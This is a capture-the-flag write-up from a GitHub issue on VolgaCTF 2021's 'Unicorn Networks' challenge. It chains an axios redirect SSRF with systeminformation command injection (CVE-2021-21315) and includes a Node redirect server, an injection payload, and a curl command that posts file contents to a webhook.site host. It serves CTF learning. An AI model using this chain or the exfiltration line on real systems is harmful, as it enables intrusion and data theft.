VolgaCTF 2021 Qualifier - Unicorn Networks
aszx87410 opened this issue · comments
Unicorn Networks
Description
Protection of the admin section needs to be more robust...
Writeup
There is an api to fetch other url: http://192.46.237.106:3000/api/getUrl?url=http://example.com
, I tried with some random ip and this one result in error: http://192.46.237.106:3000/api/getUrl?url=http://127.0.0.1
{
"status": "error",
"content": {
"message": "Request failed with status code 503",
"name": "Error",
"config": {
"url": "http:/127.0.0.1",
"method": "get",
"headers": {
"Accept": "application/json, text/plain, */*",
"User-Agent": "axios/0.21.0",
"host": "null"
},
"proxy": {
"host": "proxy.corp.local",
"port": 3128
},
"transformRequest": [
null
],
"transformResponse": [
null
],
"timeout": 0,
"xsrfCookieName": "XSRF-TOKEN",
"xsrfHeaderName": "X-XSRF-TOKEN",
"maxContentLength": -1,
"maxBodyLength": -1
}
}
}
Then I tried to send request to proxy.corp.local
but found nothing, stuck here for a while. A few moments later, I noticed the package name and the version in the response so I tired to google axios 0.21.0 vuln
.
Look what I found: Requests that follow a redirect are not passing via the proxy #3369
There is a SSRF vuln in this version so I created a simple proxy server:
const http = require('http')
http.createServer(function (req, res) {
res.writeHead(302, {location: 'http://127.0.0.1'})
res.end()
}).listen(5566)
I tried few ip and domain but found nothing, stuck again. Later on, I went back and checked the chall description again: Protection of the admin section needs to be more robust...
.
So I tried: http://127.0.0.1/admin
and to my surprise, I got access to admin page:
<html>
<head>
<title>System information</title>
</head>
<body>
<h2>Get OS Information</h2>
<button onclick="retrieveOSInfo();false;">Retrieve</button>
<h2>Get service info</h2>
<input type="text" id="serviceName" value="nginx">
<button onclick="retrieveServiceInfo();false;">Retrieve</button>
<h2>Output</h2>
<textarea id="output"></textarea>
</body>
<script>
function retrieveOSInfo() {
fetch('/api/admin/os_info')
.then(response => {
if (response.status == 200) {
return response.json();
}
throw Error('Server is unavailable');
},
failResponse => {
printOutput('Server is unavailable');
})
.then(result => {
printApiResult(result);
},
errorMsg => {
printOutput(errorMsg);
});
}
function retrieveServiceInfo() {
fetch('/api/admin/service_info?name=' + encodeURIComponent(serviceName.value))
.then(response => {
if (response.status == 200) {
return response.json();
}
throw Error('Server is unavailable');
},
failResponse => {
printOutput('Server is unavailable');
})
.then(result => {
printApiResult(result[0]);
},
errorMsg => {
printOutput(errorMsg);
});
}
function printApiResult(jsonObject) {
result = '';
for (const [key, value] of Object.entries(jsonObject)) {
result += `${key}: ${value}\n`;
}
printOutput(result);
}
function printOutput(content) {
output.value = content;
}
</script>
</html>
There are two hidden api endpoints, I tried both and here is the response for the service one:
{"status":"ok","content":[{"name":"nginx" ,"running":false,"startmode":"","pids":[],"pcpu":0,"pmem":0}]}
I googled the keyword: running":true,"startmode":"","pids"
and realized that it's from a package called systeminformation
Let's do another round of search, systeminformation vulnerability
. I found these two links:
- https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1074913
- https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
The POC is quite useful, we can do command injection via name[]=$(ls)
But I don't know how to do reverse shell so I use another way, maybe stupid but works: https://stackoverflow.com/questions/15912924/how-to-send-file-contents-as-body-entity-using-curl
curl -d "$(cat ./*)" https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a
const http = require('http')
http.createServer(function (req, res) {
let send = 'curl -d "$(cat ./*)" https://webhook.site'
res.writeHead(302, {location: 'http://127.0.0.1/api/admin/service_info?name[]='+encodeURIComponent("$(" + send + ")")})
res.end()
}).listen(5566)
Got the flag in the end.
Oh, I found this vulnerbility, but don't understand how to use. = (
Next time you can try to find the POC for the vulnerbility, it's quite helpful!